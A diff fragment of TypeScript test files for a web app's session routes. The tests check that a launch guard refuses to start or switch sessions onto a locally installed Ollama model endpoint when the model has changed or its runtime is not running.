+    expect(update.json().success).toBe(true);
+    expect((await readCustomModelHosts(getDataDir()))[0].label).toBe('My own Ollama');
+    const del = await app.inject({ method: 'DELETE', url: '/api/model-endpoints/local-ollama' });
+    expect(del.json()).toEqual({ success: true, data: { id: 'local-ollama' } });
+    expect(await readCustomModelHosts(getDataDir())).toEqual([]);
+  });
+
+  it('any other endpoint is edited and deleted as before while a model is installed', async () => {
+    markManaged();
+    const { app } = await setup();
+    await app.inject({
+      method: 'POST',
+      url: '/api/model-endpoints',
+      payload: { id: 'office', label: 'Office', baseUrl: 'http://localhost:8210' },
+    });
+    const update = await app.inject({
+      method: 'PUT',
+      url: '/api/model-endpoints/office',
+      payload: { label: 'Office GPU', baseUrl: 'http://localhost:8210' },
+    });
+    expect(update.json().data.host.label).toBe('Office GPU');
+    await app.inject({ method: 'DELETE', url: '/api/model-endpoints/office' });
+    expect(await readCustomModelHosts(getDataDir())).toEqual([RECORD]);
+  });
+});

test/routes/local-model-launch-guard.test.ts

@@ -0,0 +1,309 @@
+/**
+ * @fileoverview The launch guard of the endpoint the local model install manages, at the two
+ * routes that put a session onto a custom model endpoint: they ask the install service before
+ * anything is written.
+ *
+ *  - `POST /api/sessions/:id/custom-model` (a running session switches to the endpoint), and
+ *  - `POST /api/quick-start` with `customModel` (a session is created on it)
+ *
+ * call `LocalModelService.launchRefusalMessage(endpointId, modelId)` once the endpoint is
+ * found and before anything is written, restarted or created. A sentence back is the answer
+ * (`OPERATION_FAILED`); `undefined` lets the launch go on exactly as before. That is how a
+ * model whose digest is no longer the one stored at install time is not launched, and how
+ * nothing is launched against a port our runtime is not on.
+ *
+ * Every OTHER way a new agent process comes to be on the endpoint (the attach that finds no
+ * pane, the respawn of a dead pane, a restart in place, the rebuild after a reboot) is
+ * covered below the routes, by `Session`'s launch guard: test/local-model-session-launch-guard.test.ts.
+ *
+ * The service is replaced by a fake for most cases, and is the REAL one (over the real state
+ * file, with no runtime running) for the cases that pin the default wiring.
+ *
+ * Port: N/A (app.inject, no real port needed)
+ */
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
+import Fastify, { type FastifyInstance } from 'fastify';
+import fastifyCookie from '@fastify/cookie';
+import { rmSync, writeFileSync } from 'node:fs';
+import { rm } from 'node:fs/promises';
+import { join } from 'node:path';
+import { createMockRouteContext, safeRmHomeTree, type MockRouteContext } from '../mocks/index.js';
+import { createRouteTestHarness } from './_route-test-utils.js';
+import { installRouteErrorHandler } from '../../src/web/route-error-handler.js';
+import { registerSessionRoutes } from '../../src/web/routes/session-routes.js';
+import { dataPath, getDataDir } from '../../src/config/instance.js';
+import { CASES_DIR } from '../../src/web/route-helpers.js';
+import { Session } from '../../src/session.js';
+import { writeCustomModelHosts, type CustomModelHost } from '../../src/custom-model-hosts.js';
+import { webviewFetch } from '../../src/web/webview-egress.js';
+import type { LocalModelService } from '../../src/local-model/install-job.js';
+
+vi.mock('../../src/web/webview-egress.js', async () => {
+  const actual = await vi.importActual<typeof import('../../src/web/webview-egress.js')>(
+    '../../src/web/webview-egress.js'
+  );
+  return { ...actual, webviewFetch: vi.fn() };
+});
+const fetchMock = vi.mocked(webviewFetch);
+
+// See test/routes/quick-start-custom-model.test.ts: the CLI availability gate runs before the
+// code under test and would refuse every launch on a machine without the binary.
+vi.mock('../../src/utils/cli-launcher.js', async () => {
+  const actual = await vi.importActual<typeof import('../../src/utils/cli-launcher.js')>(
+    '../../src/utils/cli-launcher.js'
+  );
+  return { ...actual, resolveCliLaunchError: vi.fn().mockResolvedValue(null) };
+});
+
+/** The service the session routes get: a fake by default, the real one where a test says so. */
+const guard = vi.hoisted(() => ({
+  launchRefusalMessage: vi.fn<(endpointId: string, modelId: string) => Promise<string | undefined>>(),
+  real: undefined as LocalModelService | undefined,
+}));
+vi.mock('../../src/local-model/install-job.js', async () => {
+  const actual = await vi.importActual<typeof import('../../src/local-model/install-job.js')>(
+    '../../src/local-model/install-job.js'
+  );
+  return {
+    ...actual,
+    getLocalModelService: () => guard.real ?? { launchRefusalMessage: guard.launchRefusalMessage },
+  };
+});
+
+const MANAGED: CustomModelHost = {
+  id: 'local-ollama',
+  label: 'This Mac',
+  baseUrl: 'http://127.0.0.1:11435',
+  authStyle: 'bearer',
+  models: ['qwen3.6:35b-a3b'],
+  defaultModelId: 'qwen3.6:35b-a3b',
+  defaultContextLength: 131072,
+};
+
+const OTHER: CustomModelHost = { id: 'ep1', label: 'llama.cpp box', baseUrl: 'http://192.168.1.50:8080', apiKey: 'k' };
+
+const CHANGED = 'The model on this Mac changed since it was installed. Remove it and install it again.';
+const STATE = () => dataPath('local-model.json');
+
+/** The state file of an installed model whose connection is the managed record. */
+function writeInstalledState(): void {
+  writeFileSync(
+    STATE(),
+    JSON.stringify({
+      schema: 1,
+      state: 'installed',
+      model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072, digest: 'abc123' },
+      cli: { id: 'opencode', label: 'OpenCode' },
+      runtime: { version: '0.40.15', port: 11435, enabled: true },
+      connection: { endpointId: 'local-ollama', flagWasEnabled: false },
+    })
+  );
+}
+
+async function realService(): Promise<LocalModelService> {
+  const actual = await vi.importActual<typeof import('../../src/local-model/install-job.js')>(
+    '../../src/local-model/install-job.js'
+  );
+  // The real service with its real state file. No runtime was ever started by it.
+  return actual.createLocalModelService();
+}
+
+beforeEach(async () => {
+  guard.launchRefusalMessage.mockReset();
+  guard.launchRefusalMessage.mockResolvedValue(undefined);
+  guard.real = undefined;
+  fetchMock.mockReset();
+  fetchMock.mockResolvedValue(new Response('not found', { status: 404 }));
+  await writeCustomModelHosts(getDataDir(), [MANAGED, OTHER]);
+});
+
+afterEach(async () => {
+  rmSync(STATE(), { force: true });
+  await rm(join(getDataDir(), 'custom-model-hosts.json'), { force: true });
+  await rm(join(getDataDir(), 'custom-model-configs'), { recursive: true, force: true });
+});
+
+describe('POST /api/sessions/:id/custom-model on the managed endpoint', () => {
+  async function setup() {
+    const harness = await createRouteTestHarness(registerSessionRoutes);
+    const session = harness.ctx.sessions.get('test-session-1')!;
+    session.mode = 'claude';
+    return { ...harness, session };
+  }
+
+  const apply = (app: FastifyInstance, payload: Record<string, unknown>) =>
+    app.inject({ method: 'POST', url: '/api/sessions/test-session-1/custom-model', payload });
+
+  it('asks the install service with the endpoint and the model, before anything is applied', async () => {
+    const { app, session } = await setup();
+    const res = await apply(app, { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' });
+    expect(res.statusCode).toBe(200);
+    expect(guard.launchRefusalMessage).toHaveBeenCalledTimes(1);
+    expect(guard.launchRefusalMessage).toHaveBeenCalledWith('local-ollama', 'qwen3.6:35b-a3b');
+    // No refusal: the model is applied and the CLI restarted, as for any endpoint.
+    expect(session.setCustomModel).toHaveBeenCalledTimes(1);
+    expect(session.restartCli).toHaveBeenCalledTimes(1);
+  });
+
+  it('a changed model refuses the switch in one plain sentence, and nothing is written or restarted', async () => {
+    const { app, session } = await setup();
+    guard.launchRefusalMessage.mockResolvedValue(CHANGED);
+    const res = await apply(app, { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' });
+    expect(res.json()).toEqual({ success: false, error: CHANGED, errorCode: 'OPERATION_FAILED' });
+    expect(session.setCustomModel).not.toHaveBeenCalled();
+    expect(session.restartCli).not.toHaveBeenCalled();
+    // The runtime was not even asked what it has loaded.
+    expect(fetchMock).not.toHaveBeenCalled();
+  });
+
+  it('every other endpoint is asked about too, and the service lets it through', async () => {
+    const { app, session } = await setup();
+    const res = await apply(app, { endpointId: 'ep1', modelId: 'qwen3' });
+    expect(res.statusCode).toBe(200);
+    expect(guard.launchRefusalMessage).toHaveBeenCalledWith('ep1', 'qwen3');
+    expect(session.setCustomModel).toHaveBeenCalledTimes(1);
+  });
+
+  it('clearing a selection is never refused: it is the way OFF the endpoint', async () => {
+    const { app, session } = await setup();
+    guard.launchRefusalMessage.mockResolvedValue(CHANGED);
+    session.setCustomModel.mockReturnValue({ previousConfigDir: undefined });
+    const res = await apply(app, { clear: true });
+    expect(res.statusCode).toBe(200);
+    expect(guard.launchRefusalMessage).not.toHaveBeenCalled();
+    expect(session.setCustomModel).toHaveBeenCalledWith(undefined);
+  });
+
+  it('an endpoint that does not exist is still a 404 of its own, asked about nothing', async () => {
+    const { app } = await setup();
+    const res = await apply(app, { endpointId: 'nope', modelId: 'x' });
+    expect(res.json()).toMatchObject({ success: false, errorCode: 'NOT_FOUND' });
+    expect(guard.launchRefusalMessage).not.toHaveBeenCalled();
+  });
+
+  describe('with the real install service', () => {
+    it('an installed model whose runtime is not running is not switched to', async () => {
+      writeInstalledState();
+      guard.real = await realService();
+      const { app, session } = await setup();
+      const res = await apply(app, { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' });
+      expect(res.json()).toEqual({
+        success: false,
+        error: 'The model on this Mac is not running. Start it first.',
+        errorCode: 'OPERATION_FAILED',
+      });
+      expect(session.setCustomModel).not.toHaveBeenCalled();
+    });
+
+    it('a record with the reserved id that nobody installed is an endpoint like any other', async () => {
+      // No state file: this feature wrote nothing, so there is nothing of ours to guard.
+      guard.real = await realService();
+      const { app, session } = await setup();
+      const res = await apply(app, { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' });
+      expect(res.statusCode).toBe(200);
+      expect(session.setCustomModel).toHaveBeenCalledTimes(1);
+    });
+
+    it('any other endpoint is untouched by an installed model', async () => {
+      writeInstalledState();
+      guard.real = await realService();
+      const { app, session } = await setup();
+      const res = await apply(app, { endpointId: 'ep1', modelId: 'qwen3' });
+      expect(res.statusCode).toBe(200);
+      expect(session.setCustomModel).toHaveBeenCalledTimes(1);
+    });
+  });
+});
+
+describe('POST /api/quick-start with customModel on the managed endpoint', () => {
+  let app: FastifyInstance;
+  let ctx: MockRouteContext;
+
+  const quickStart = (payload: Record<string, unknown>) =>
+    app.inject({ method: 'POST', url: '/api/quick-start', payload });
+
+  beforeEach(async () => {
+    vi.spyOn(Session.prototype, 'startInteractive').mockResolvedValue(undefined);
+    vi.spyOn(Session.prototype, 'startShell').mockResolvedValue(undefined);
+    vi.spyOn(Session.prototype, 'restartCli').mockResolvedValue(true);
+    app = Fastify({ logger: false });
+    await app.register(fastifyCookie);
+    ctx = createMockRouteContext();
+    registerSessionRoutes(app, ctx);
+    installRouteErrorHandler(app);
+    await app.ready();
+  });
+
+  afterEach(async () => {
+    await app.close();
+    vi.restoreAllMocks();
+    safeRmHomeTree(CASES_DIR);
+  });
+
+  it('asks the install service, and with no refusal the session starts on the local model', async () => {
+    const before = ctx.sessions.size;
+    const res = await quickStart({
+      caseName: 'lm-ok',
+      mode: 'claude',
+      customModel: { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' },
+    });
+    expect(res.statusCode).toBe(200);
+    expect(res.json().sessionId).toBeTruthy();
+    expect(guard.launchRefusalMessage).toHaveBeenCalledWith('local-ollama', 'qwen3.6:35b-a3b');
+    expect(ctx.sessions.size).toBe(before + 1);
+    const session = ctx.sessions.get(res.json().sessionId) as unknown as Session;
+    expect(session.customModel).toMatchObject({ endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' });
+  });
+
+  it('a changed model refuses the launch in one plain sentence, and no session is created', async () => {
+    guard.launchRefusalMessage.mockResolvedValue(CHANGED);
+    const before = ctx.sessions.size;
+    const res = await quickStart({
+      caseName: 'lm-changed',
+      mode: 'claude',
+      customModel: { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' },
+    });
+    expect(res.json()).toEqual({ success: false, error: CHANGED, errorCode: 'OPERATION_FAILED' });
+    expect(ctx.sessions.size).toBe(before);
+    expect(Session.prototype.startInteractive).not.toHaveBeenCalled();
+    expect(fetchMock).not.toHaveBeenCalled();
+  });
+
+  it('a launch without a custom model never asks', async () => {
+    const res = await quickStart({ caseName: 'lm-plain', mode: 'claude' });
+    expect(res.statusCode).toBe(200);
+    expect(guard.launchRefusalMessage).not.toHaveBeenCalled();
+  });
+
+  describe('with the real install service', () => {
+    it('an installed model whose runtime is not running is not launched', async () => {
+      writeInstalledState();
+      guard.real = await realService();
+      const before = ctx.sessions.size;
+      const res = await quickStart({
+        caseName: 'lm-stopped',
+        mode: 'claude',
+        customModel: { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' },
+      });
+      expect(res.json()).toEqual({
+        success: false,
+        error: 'The model on this Mac is not running. Start it first.',
+        errorCode: 'OPERATION_FAILED',
+      });
+      expect(ctx.sessions.size).toBe(before);
+    });
+
+    it('a launch on any other endpoint goes on as before', async () => {
+      writeInstalledState();
+      guard.real = await realService();
+      const res = await quickStart({
+        caseName: 'lm-other',
+        mode: 'claude',
+        customModel: { endpointId: 'ep1', modelId: 'qwen3' },
+      });
+      expect(res.statusCode).toBe(200);
+      expect(res.json().sessionId).toBeTruthy();
+      expect(res.json().success).not.toBe(false);
+    });
+  });
+});